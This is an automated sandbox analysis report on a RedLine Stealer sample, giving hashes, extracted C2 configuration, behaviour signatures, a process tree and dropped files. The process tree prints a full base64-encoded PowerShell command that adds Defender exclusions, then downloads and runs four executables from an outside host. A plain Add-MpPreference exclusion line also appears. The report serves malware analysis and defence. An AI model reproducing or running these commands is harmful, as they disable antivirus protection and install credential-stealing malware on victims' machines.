Analysis

  • max time kernel
    175s
  • max time network
    172s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/01/2023, 13:20

General

  • Target

    17855519b9e1bde7cabf66a422b5671d4d462968.exe

  • Size

    365KB

  • MD5

    ee244310289c82ebe8c73cfd83329f49

  • SHA1

    17855519b9e1bde7cabf66a422b5671d4d462968

  • SHA256

    702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33

  • SHA512

    20053cb845d1ef2845c85596f0d214b04fc8301cb783d8631ca8504af26706e78f046d691a65d1bd8fb9f15ff22e3136d5771f5a9394eb8d534afcc90f350d2b

  • SSDEEP

    6144:xVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO19AjWbc:xRDF2BpjLQLsvBP0+ecyEY37CGP

Score
10/10

Malware Config

Extracted

Family

redline

Botnet

1

C2

107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1032
      • C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe
        "C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2488
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2212
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2720
            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
              "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
              5⤵
              • Executes dropped EXE
              PID:4676
            • C:\Users\Admin\AppData\Local\Temp\new2.exe
              "C:\Users\Admin\AppData\Local\Temp\new2.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:3708
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                6⤵
                  PID:1860
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3708 -s 300
                  6⤵
                  • Program crash
                  PID:1372
              • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:1384
              • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                5⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:1616
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2488 -s 300
            3⤵
            • Program crash
            PID:3760
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
            PID:2744
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 372 -p 2488 -ip 2488
          1⤵
            PID:4552
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 180 -p 3708 -ip 3708
            1⤵
              PID:3368

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                    Filesize

                    1.4MB

                    MD5

                    bb86a343080f9f4696c250ef31a18d9d

                    SHA1

                    43b2193dcb1d56eac73ba88a7b461822074192d6

                    SHA256

                    095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                    SHA512

                    24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                  • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                    Filesize

                    1.4MB

                    MD5

                    bb86a343080f9f4696c250ef31a18d9d

                    SHA1

                    43b2193dcb1d56eac73ba88a7b461822074192d6

                    SHA256

                    095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                    SHA512

                    24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                  • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                    Filesize

                    3.7MB

                    MD5

                    f5c51e7760315ad0f0238d268c03c60e

                    SHA1

                    85ebaaa9685634143a72bc82c6e7df87a78eed4c

                    SHA256

                    ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                    SHA512

                    d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

                  • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                    Filesize

                    1.4MB

                    MD5

                    b6bbab9f72c88d07b484cc339c475e75

                    SHA1

                    f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                    SHA256

                    dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                    SHA512

                    1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                  • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                    Filesize

                    1.4MB

                    MD5

                    b6bbab9f72c88d07b484cc339c475e75

                    SHA1

                    f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                    SHA256

                    dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                    SHA512

                    1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                  • C:\Users\Admin\AppData\Local\Temp\new2.exe

                    Filesize

                    464KB

                    MD5

                    990c8e3fc56a2734631b51fc61a6779a

                    SHA1

                    55a16cc67fc52cdf0690387e083955048106d48a

                    SHA256

                    d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                    SHA512

                    f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

                  • C:\Users\Admin\AppData\Local\Temp\new2.exe

                    Filesize

                    464KB

                    MD5

                    990c8e3fc56a2734631b51fc61a6779a

                    SHA1

                    55a16cc67fc52cdf0690387e083955048106d48a

                    SHA256

                    d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                    SHA512

                    f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

                  • memory/1384-176-0x0000000002258000-0x000000000275C000-memory.dmp

                    Filesize

                    5.0MB

                  • memory/1384-179-0x0000000002258000-0x000000000275C000-memory.dmp

                    Filesize

                    5.0MB

                  • memory/1384-180-0x000000000276C000-0x00000000028A9000-memory.dmp

                    Filesize

                    1.2MB

                  • memory/1384-182-0x000000000276C000-0x00000000028A9000-memory.dmp

                    Filesize

                    1.2MB

                  • memory/1860-168-0x0000000000400000-0x0000000000420000-memory.dmp

                    Filesize

                    128KB

                  • memory/2212-139-0x0000000000400000-0x0000000000405000-memory.dmp

                    Filesize

                    20KB

                  • memory/2212-133-0x0000000000400000-0x0000000000405000-memory.dmp

                    Filesize

                    20KB

                  • memory/2720-147-0x0000000006970000-0x00000000069A2000-memory.dmp

                    Filesize

                    200KB

                  • memory/2720-146-0x0000000006440000-0x000000000645E000-memory.dmp

                    Filesize

                    120KB

                  • memory/2720-157-0x0000000007A00000-0x0000000007A22000-memory.dmp

                    Filesize

                    136KB

                  • memory/2720-158-0x00000000089C0000-0x0000000008F64000-memory.dmp

                    Filesize

                    5.6MB

                  • memory/2720-155-0x0000000007990000-0x00000000079AA000-memory.dmp

                    Filesize

                    104KB

                  • memory/2720-154-0x0000000006AB0000-0x0000000006ABE000-memory.dmp

                    Filesize

                    56KB

                  • memory/2720-141-0x0000000002A60000-0x0000000002A96000-memory.dmp

                    Filesize

                    216KB

                  • memory/2720-142-0x0000000005540000-0x0000000005B68000-memory.dmp

                    Filesize

                    6.2MB

                  • memory/2720-153-0x00000000078F0000-0x0000000007986000-memory.dmp

                    Filesize

                    600KB

                  • memory/2720-152-0x0000000006AA0000-0x0000000006AAA000-memory.dmp

                    Filesize

                    40KB

                  • memory/2720-143-0x00000000053A0000-0x00000000053C2000-memory.dmp

                    Filesize

                    136KB

                  • memory/2720-151-0x0000000006A10000-0x0000000006A2A000-memory.dmp

                    Filesize

                    104KB

                  • memory/2720-150-0x0000000007D90000-0x000000000840A000-memory.dmp

                    Filesize

                    6.5MB

                  • memory/2720-149-0x0000000000E20000-0x0000000000E3E000-memory.dmp

                    Filesize

                    120KB

                  • memory/2720-148-0x0000000074700000-0x000000007474C000-memory.dmp

                    Filesize

                    304KB

                  • memory/2720-156-0x00000000078E0000-0x00000000078E8000-memory.dmp

                    Filesize

                    32KB

                  • memory/2720-145-0x0000000005E10000-0x0000000005E76000-memory.dmp

                    Filesize

                    408KB

                  • memory/2720-144-0x0000000005DA0000-0x0000000005E06000-memory.dmp

                    Filesize

                    408KB

                  • memory/4676-166-0x00000000055C0000-0x0000000005652000-memory.dmp

                    Filesize

                    584KB

                  • memory/4676-162-0x0000000000C00000-0x0000000000D6C000-memory.dmp

                    Filesize

                    1.4MB

                  • memory/4676-181-0x0000000005690000-0x000000000569A000-memory.dmp

                    Filesize

                    40KB